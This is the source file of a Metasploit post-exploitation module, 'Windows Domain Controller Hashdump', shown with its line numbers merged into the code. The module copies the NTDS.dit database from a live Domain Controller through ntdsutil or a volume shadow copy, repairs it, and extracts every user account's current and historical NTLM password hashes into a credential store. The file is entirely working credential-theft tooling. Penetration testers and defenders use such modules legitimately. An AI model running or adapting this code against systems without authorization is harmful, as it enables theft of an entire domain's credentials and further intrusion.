Path: blob/master/modules/post/windows/gather/credentials/domain_hashdump.rb
32605 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasploit/framework/ntds/parser'67class MetasploitModule < Msf::Post8include Msf::Post::Windows::Accounts9include Msf::Post::Windows::Registry10include Msf::Auxiliary::Report11include Msf::Post::Windows::Priv12include Msf::Post::Windows::ShadowCopy13include Msf::Post::File14include Msf::Post::Windows::ExtAPI1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Windows Domain Controller Hashdump',21'Description' => %q{22This module attempts to copy the NTDS.dit database from a live Domain Controller23and then parse out all of the User Accounts. It saves all of the captured password24hashes, including historical ones.25},26'License' => MSF_LICENSE,27'Author' => ['theLightCosine'],28'Platform' => [ 'win' ],29'SessionTypes' => [ 'meterpreter' ],30'Notes' => {31'Stability' => [CRASH_SAFE],32'SideEffects' => [],33'Reliability' => []34},35'Compat' => {36'Meterpreter' => {37'Commands' => %w[38extapi_ntds_parse39stdapi_fs_stat40]41}42},43'References' => [44[ 'ATT&CK', Mitre::Attack::Technique::T1003_003_NTDS ]45]46)47)48deregister_options('SMBUser', 'SMBPass', 'SMBDomain')49register_options(50[51OptBool.new(52'CLEANUP', [ true, 'Automatically delete ntds backup created', true]53)54]55)56end5758def run59if preconditions_met?60print_status 'Pre-conditions met, attempting to copy NTDS.dit'61ntds_file = copy_database_file62unless ntds_file.nil?63file_stat = client.fs.file.stat(ntds_file)64print_status "NTDS File Size: #{file_stat.size} bytes"65print_status 'Repairing NTDS database after copy...'66print_status repair_ntds(ntds_file)67realm = sysinfo['Domain']68begin69ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)70rescue Rex::Post::Meterpreter::RequestError => e71print_bad("Failed to properly parse database: #{e}")72if e.to_s.include? '1004'73print_bad('Error 1004 is likely a jet database error because the ntds database is not in the regular format')74end75end76unless ntds_parser.nil?77print_status 'Started up NTDS channel. Preparing to stream results...'78ntds_parser.each_account do |ad_account|79print_good ad_account.to_s80report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)81ad_account.nt_history.each_with_index do |nt_hash, index|82hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH83hash_string << ":#{nt_hash}"84report_hash(hash_string.downcase, ad_account.name, realm)85end86end87end88if datastore['cleanup']89print_status "Deleting backup of NTDS.dit at #{ntds_file}"90rm_f(ntds_file)91else92print_bad "#{ntds_file} requires manual cleanup"93end94end95end96end9798def copy_database_file99version = get_version_info100if version.windows_server?101if version.build_number.between?(Msf::WindowsVersion::Server2003_SP0, Msf::WindowsVersion::Server2003_SP2)102print_status 'Using Volume Shadow Copy Method'103return vss_method104elsif version.build_number >= Msf::WindowsVersion::Server2008_SP0105print_status 'Using NTDSUTIL method'106return ntdsutil_method107end108end109print_error 'This version of Windows is unsupported'110return nil111end112113def ntds_exists?114return false unless ntds_location115116file_exist?("#{ntds_location}\\ntds.dit")117end118119def ntds_location120@ntds_location ||= registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters\\', 'DSA Working Directory')121end122123def ntdsutil_method124tmp_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha(6..13)}"125command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit"126result = cmd_exec('ntdsutil.exe', command_arguments, 90)127if result.include? 'IFM media created successfully'128file_path = "#{tmp_path}\\Active Directory\\ntds.dit"129print_status "NTDS database copied to #{file_path}"130else131print_error 'There was an error copying the ntds.dit file!'132vprint_error result133file_path = nil134end135file_path136end137138def preconditions_met?139unless is_admin?140print_error('This module requires Admin privs to run')141return false142end143144print_status('Session has Admin privs')145146unless domain_controller?147print_error('Host does not appear to be an AD Domain Controller')148return false149end150151print_status('Session is on a Domain Controller')152153unless ntds_exists?154print_error('Could not locate ntds.dit file')155return false156end157158unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_NTDS_PARSE)159fail_with(Failure::BadConfig, 'Session does not support Meterpreter ExtAPI NTDS parser')160end161162session_compat?163end164165def repair_ntds(path = '')166arguments = "/p /o \"#{path}\""167cmd_exec('esentutl', arguments)168end169170def report_hash(ntlm_hash, username, realm)171cred_details = {172origin_type: :session,173session_id: session_db_id,174post_reference_name: refname,175private_type: :ntlm_hash,176private_data: ntlm_hash,177username: username,178realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,179realm_value: realm,180workspace_id: myworkspace_id181}182create_credential(cred_details)183end184185def session_compat?186if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86187print_error 'You are running 32-bit Meterpreter on a 64 bit system'188print_error 'Try migrating to a 64-bit process and try again'189false190else191true192end193end194195def vss_method196unless start_vss197fail_with(Failure::NoAccess, 'Unable to start VSS service')198end199location = ntds_location.dup200location.slice!(0, 3)201id = create_shadowcopy(volume.to_s)202print_status "Getting Details of ShadowCopy #{id}"203sc_details = get_sc_details(id)204sc_path = "#{sc_details['DeviceObject']}\\#{location}\\ntds.dit"205target_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha(6..13)}"206print_status "Moving ntds.dit to #{target_path}"207move_file(sc_path, target_path)208target_path209end210end211212213